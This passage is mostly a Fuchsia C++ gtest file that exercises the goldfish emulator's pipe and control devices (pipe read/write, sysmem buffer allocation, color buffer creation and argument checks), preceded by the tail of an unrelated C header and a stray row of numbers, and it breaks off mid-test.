int num_Items;
SCSI_Address **items;
int next_Item_Index;
};
#endif
/*** END OF FILE ***/
| 3,609 | 1,295 |
// Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <fcntl.h>
#include <fuchsia/hardware/goldfish/llcpp/fidl.h>
#include <fuchsia/sysmem/llcpp/fidl.h>
#include <lib/fdio/directory.h>
#include <lib/fdio/fdio.h>
#include <lib/zx/channel.h>
#include <lib/zx/time.h>
#include <lib/zx/vmar.h>
#include <lib/zx/vmo.h>
#include <unistd.h>
#include <zircon/syscalls.h>
#include <zircon/types.h>
#include <gtest/gtest.h>
TEST(GoldfishPipeTests, GoldfishPipeTest) {
int fd = open("/dev/class/goldfish-pipe/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel pipe_client;
zx::channel pipe_server;
EXPECT_EQ(zx::channel::create(0, &pipe_client, &pipe_server), ZX_OK);
llcpp::fuchsia::hardware::goldfish::PipeDevice::SyncClient pipe_device(std::move(channel));
EXPECT_TRUE(pipe_device.OpenPipe(std::move(pipe_server)).ok());
llcpp::fuchsia::hardware::goldfish::Pipe::SyncClient pipe(std::move(pipe_client));
const size_t kSize = 3 * 4096;
{
auto result = pipe.SetBufferSize(kSize);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
zx::vmo vmo;
{
auto result = pipe.GetBuffer();
ASSERT_TRUE(result.ok());
vmo = std::move(result.Unwrap()->vmo);
}
// Connect to pingpong service.
constexpr char kPipeName[] = "pipe:pingpong";
size_t bytes = strlen(kPipeName) + 1;
EXPECT_EQ(vmo.write(kPipeName, 0, bytes), ZX_OK);
{
auto result = pipe.Write(bytes, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, bytes);
}
// Write 1 byte.
const uint8_t kSentinel = 0xaa;
EXPECT_EQ(vmo.write(&kSentinel, 0, 1), ZX_OK);
{
auto result = pipe.Write(1, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, 1U);
}
// Read 1 byte result.
{
auto result = pipe.Read(1, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, 1U);
}
uint8_t result = 0;
EXPECT_EQ(vmo.read(&result, 0, 1), ZX_OK);
// pingpong service should have returned the data received.
EXPECT_EQ(result, kSentinel);
// Write 3 * 4096 bytes.
uint8_t send_buffer[kSize];
memset(send_buffer, kSentinel, kSize);
EXPECT_EQ(vmo.write(send_buffer, 0, kSize), ZX_OK);
{
auto result = pipe.Write(kSize, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, kSize);
}
// Read 3 * 4096 bytes.
{
auto result = pipe.Read(kSize, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, kSize);
}
uint8_t recv_buffer[kSize];
EXPECT_EQ(vmo.read(recv_buffer, 0, kSize), ZX_OK);
// pingpong service should have returned the data received.
EXPECT_EQ(memcmp(send_buffer, recv_buffer, kSize), 0);
// Write & Read 4096 bytes.
const size_t kSmallSize = kSize / 3;
const size_t kRecvOffset = kSmallSize;
memset(send_buffer, kSentinel, kSmallSize);
EXPECT_EQ(vmo.write(send_buffer, 0, kSmallSize), ZX_OK);
{
auto result = pipe.DoCall(kSmallSize, 0u, kSmallSize, kRecvOffset);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, 2 * kSmallSize);
}
EXPECT_EQ(vmo.read(recv_buffer, kRecvOffset, kSmallSize), ZX_OK);
// pingpong service should have returned the data received.
EXPECT_EQ(memcmp(send_buffer, recv_buffer, kSmallSize), 0);
}
TEST(GoldfishControlTests, GoldfishControlTest) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
zx::vmo vmo_copy2;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_NE(result.Unwrap()->id, 0u);
EXPECT_EQ(result.Unwrap()->type,
llcpp::fuchsia::hardware::goldfish::BufferHandleType::COLOR_BUFFER);
}
zx::vmo vmo_copy3;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy3), ZX_OK);
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy3), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_ALREADY_EXISTS);
}
}
TEST(GoldfishControlTests, GoldfishControlTest_HostVisible) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
const size_t kMinSizeBytes = 4 * 1024;
const size_t kMaxSizeBytes = 4 * 4096;
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = kMinSizeBytes,
.max_size_bytes = kMaxSizeBytes,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = true,
.inaccessible_domain_supported = false,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_HOST_VISIBLE}};
constraints.image_format_constraints_count = 1;
constraints.image_format_constraints[0] = llcpp::fuchsia::sysmem::ImageFormatConstraints{
.pixel_format =
llcpp::fuchsia::sysmem::PixelFormat{
.type = llcpp::fuchsia::sysmem::PixelFormatType::BGRA32,
.has_format_modifier = false,
.format_modifier = {},
},
.color_spaces_count = 1,
.color_space =
{
llcpp::fuchsia::sysmem::ColorSpace{.type =
llcpp::fuchsia::sysmem::ColorSpaceType::SRGB},
},
.min_coded_width = 32,
.min_coded_height = 32,
};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
EXPECT_EQ(info.settings.buffer_settings.coherency_domain,
llcpp::fuchsia::sysmem::CoherencyDomain::CPU);
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
uint64_t vmo_size;
EXPECT_EQ(vmo.get_size(&vmo_size), ZX_OK);
EXPECT_GE(vmo_size, kMinSizeBytes);
EXPECT_LE(vmo_size, kMaxSizeBytes);
// Test if the vmo is mappable.
zx_vaddr_t addr;
EXPECT_EQ(zx::vmar::root_self()->map(ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, /*vmar_offset*/ 0, vmo,
/*vmo_offset*/ 0, vmo_size, &addr),
ZX_OK);
// Test if write and read works correctly.
uint8_t* ptr = reinterpret_cast<uint8_t*>(addr);
std::vector<uint8_t> copy_target(vmo_size, 0u);
for (uint32_t trial = 0; trial < 10u; trial++) {
memset(ptr, trial, vmo_size);
memcpy(copy_target.data(), ptr, vmo_size);
zx_cache_flush(ptr, vmo_size, ZX_CACHE_FLUSH_DATA | ZX_CACHE_FLUSH_INVALIDATE);
EXPECT_EQ(memcmp(copy_target.data(), ptr, vmo_size), 0);
}
EXPECT_EQ(zx::vmar::root_self()->unmap(addr, PAGE_SIZE), ZX_OK);
EXPECT_TRUE(collection.Close().ok());
}
TEST(GoldfishControlTests, GoldfishControlTest_HostVisibleBuffer) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
const size_t kMinSizeBytes = 4 * 1024;
const size_t kMaxSizeBytes = 4 * 4096;
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::vulkanUsageTransferDst;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = kMinSizeBytes,
.max_size_bytes = kMaxSizeBytes,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = true,
.inaccessible_domain_supported = false,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_HOST_VISIBLE}};
constraints.image_format_constraints_count = 0;
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
EXPECT_EQ(info.settings.buffer_settings.coherency_domain,
llcpp::fuchsia::sysmem::CoherencyDomain::CPU);
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
uint64_t vmo_size;
EXPECT_EQ(vmo.get_size(&vmo_size), ZX_OK);
EXPECT_GE(vmo_size, kMinSizeBytes);
EXPECT_LE(vmo_size, kMaxSizeBytes);
// Test if the vmo is mappable.
zx_vaddr_t addr;
EXPECT_EQ(zx::vmar::root_self()->map(ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, /*vmar_offset*/ 0, vmo,
/*vmo_offset*/ 0, vmo_size, &addr),
ZX_OK);
// Test if write and read works correctly.
uint8_t* ptr = reinterpret_cast<uint8_t*>(addr);
std::vector<uint8_t> copy_target(vmo_size, 0u);
for (uint32_t trial = 0; trial < 10u; trial++) {
memset(ptr, trial, vmo_size);
memcpy(copy_target.data(), ptr, vmo_size);
zx_cache_flush(ptr, vmo_size, ZX_CACHE_FLUSH_DATA | ZX_CACHE_FLUSH_INVALIDATE);
EXPECT_EQ(memcmp(copy_target.data(), ptr, vmo_size), 0);
}
EXPECT_EQ(zx::vmar::root_self()->unmap(addr, PAGE_SIZE), ZX_OK);
EXPECT_TRUE(collection.Close().ok());
}
TEST(GoldfishControlTests, GoldfishControlTest_DataBuffer) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
constexpr size_t kBufferSizeBytes = 4 * 1024;
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_BUFFER_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = kBufferSizeBytes,
.max_size_bytes = kBufferSizeBytes,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1u);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Frame>())
.set_size(std::make_unique<uint64_t>(kBufferSizeBytes))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
ASSERT_TRUE(result.value().result.is_response());
}
zx::vmo vmo_copy2;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_NE(result.Unwrap()->id, 0u);
EXPECT_EQ(result.Unwrap()->type, llcpp::fuchsia::hardware::goldfish::BufferHandleType::BUFFER);
}
zx::vmo vmo_copy3;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy3), ZX_OK);
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy3), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_ALREADY_EXISTS);
}
zx::vmo vmo_copy4;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy4), ZX_OK);
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Frame>())
.set_size(std::make_unique<uint64_t>(kBufferSizeBytes))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateBuffer2(std::move(vmo_copy4), std::move(create_params));
ASSERT_TRUE(result.ok());
ASSERT_TRUE(result.value().result.is_err());
EXPECT_EQ(result.value().result.err(), ZX_ERR_ALREADY_EXISTS);
}
}
// In this test case we call CreateColorBuffer() and GetBufferHandle()
// on VMOs not registered with goldfish sysmem heap.
//
// The IPC transmission should succeed but FIDL interface should
// return ZX_ERR_INVALID_ARGS.
TEST(GoldfishControlTests, GoldfishControlTest_InvalidVmo) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::vmo non_sysmem_vmo;
EXPECT_EQ(zx::vmo::create(1024u, 0u, &non_sysmem_vmo), ZX_OK);
// Call CreateColorBuffer() using vmo not registered with goldfish
// sysmem heap.
zx::vmo vmo_copy;
EXPECT_EQ(non_sysmem_vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(16))
.set_height(std::make_unique<uint32_t>(16))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
// Call GetBufferHandle() using vmo not registered with goldfish
// sysmem heap.
zx::vmo vmo_copy2;
EXPECT_EQ(non_sysmem_vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
}
// In this test case we test arguments of CreateColorBuffer2() method.
// If a mandatory field is missing, it should return "ZX_ERR_INVALID_ARGS".
TEST(GoldfishControlTests, GoldfishControlTest_CreateColorBuffer2Args) {
// Setup control device.
int control_device_fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(control_device_fd, 0);
zx::channel control_channel;
EXPECT_EQ(fdio_get_service_handle(control_device_fd, control_channel.reset_and_get_address()),
ZX_OK);
// ----------------------------------------------------------------------//
// Setup sysmem allocator and buffer collection.
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
// ----------------------------------------------------------------------//
// Use device local heap which only *registers* the koid of vmo to control
// device.
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1u);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
// ----------------------------------------------------------------------//
// Try creating color buffer.
zx::vmo vmo_copy;
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(control_channel));
{
// Verify that a CreateColorBuffer2() call without width will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
// Without width
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
{
// Verify that a CreateColorBuffer2() call without height will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
// Without height
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
{
// Verify that a CreateColorBuffer2() call without color format will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
// Without format
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
{
// Verify that a CreateColorBuffer2() call without memory property will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
